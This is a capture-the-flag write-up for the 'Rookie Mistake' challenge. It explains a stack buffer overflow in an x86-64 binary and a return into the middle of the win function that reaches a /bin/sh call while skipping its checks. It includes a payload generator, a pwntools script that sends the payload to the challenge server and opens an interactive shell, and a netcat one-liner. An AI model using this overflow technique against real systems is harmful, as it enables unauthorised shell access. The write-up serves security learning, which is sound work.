Rookie Mistake
Personal Rating: Medium
The challenge description already contains important hints: "ret2win, but not by calling the win function, but by calling a certain address of it."
Let us have a look at the file.
file rookie_mistake
rookie_mistake: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=c6ceed0e20bb1a034846f67ec07cc071e6b94e8f, for GNU/Linux 3.2.0, not strippedchecksec --file=rookie_mistake
wc -c rookie_mistake
20936 rookie_mistakeInspecting in Ghidra. Starting with the main function, it is extremely simple.

So we have this apparent layout for the overflow:
8Bytes expected input
24Bytes Buffer
? potential stack frame or other data
return addressThe functions banner, printstr and info are custom. But they seem to only print unknown stuff.



Starting the program, we can overflow the buffer as expected

This is the win function. It seems that we have to call it, but provide 6 values to it, which depend on the check_core function not returning \0 with each input


Inspecting the check_core function, it seems that the input we give it has to be equal to the second input parameter. These are hard coded and we can find them in Ghidra:

So in summary, our input has to contain this:
32Byte buffer
potential unknown intermediate buffer
function pointer of overflow_core, which should be 0x0000000000401672
Let's find the offset using cyclic.
cyclic 48
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaaThis landed in the RIP: 0x616c6161616b Using cyclic to look up the offset, we see that the offset are clean 40 Bytes:
cyclic -l 0x616c6161616b
40Rechecking with radare2, it seems correct:
r2 rookie_mistake
afl
0x00401672 -> "\x72\x16\x40\x00"Trying this with a 40 Byte buffer did not work. It seems we have a two byte intermediate buffer that we need to overcome too.


So with this new payload, we could reach the target function:
python3 -c 'print("A"*40 + "\x72\x16\x40\x00\x00\x00")' > payload.bin
First I thought that the next step has to be to prepare the registers for the input values of the function, so that all checks are successful. However, this was not possible (at least without resorting to more complex techniques, jumping to libraries etc.) since the main function does not read enough bytes of user input. After some time of trying and researching, I revisited the hint that we have to jump to a certain address of the target function instead of its start. Then it became clear to me that we can just jump to the /bin/sh execution, skipping the checks.

This payload generator worked in the end:
from struct import pack
buf = b"A" * 40 # buffer/offset
buf += pack("<Q", 0x00401758) # target_call
buf += b"\n" # Newline as expected to end the user input
with open("payload.bin", "wb") as f:
f.write(buf)It is important here to add the newline. At first I did not do that, which caused the program to crash instead because the user input string was not correctly terminated.
This is my final script , which uses pwntools to run the exploit remotely:
from pwn import *
HOST = "209.38.246.2"
PORT = 32338
offset = 40
address = 0x00401758
log.info(f"Testing address: {hex(address)}")
payload = b"A" * offset + p64(address)
p = remote(HOST, PORT)
banner = p.recvuntil(b":~$")
if banner:
print(banner.decode(errors="ignore"))
p.sendline(payload)
try:
p.clean(timeout=2)
response = p.interactive()
except EOFError:
log.warning(f"Connection closed at {hex(address)}")
p.close()After the event I also found this nice and clean way to do it without a Python script:
(cat payload.bin; cat) | nc 209.38.246.2 32338The important part here is the additional cat that keeps the connection open. Otherwise, you would just throw your payload against the target and exit out immediately.
Last updated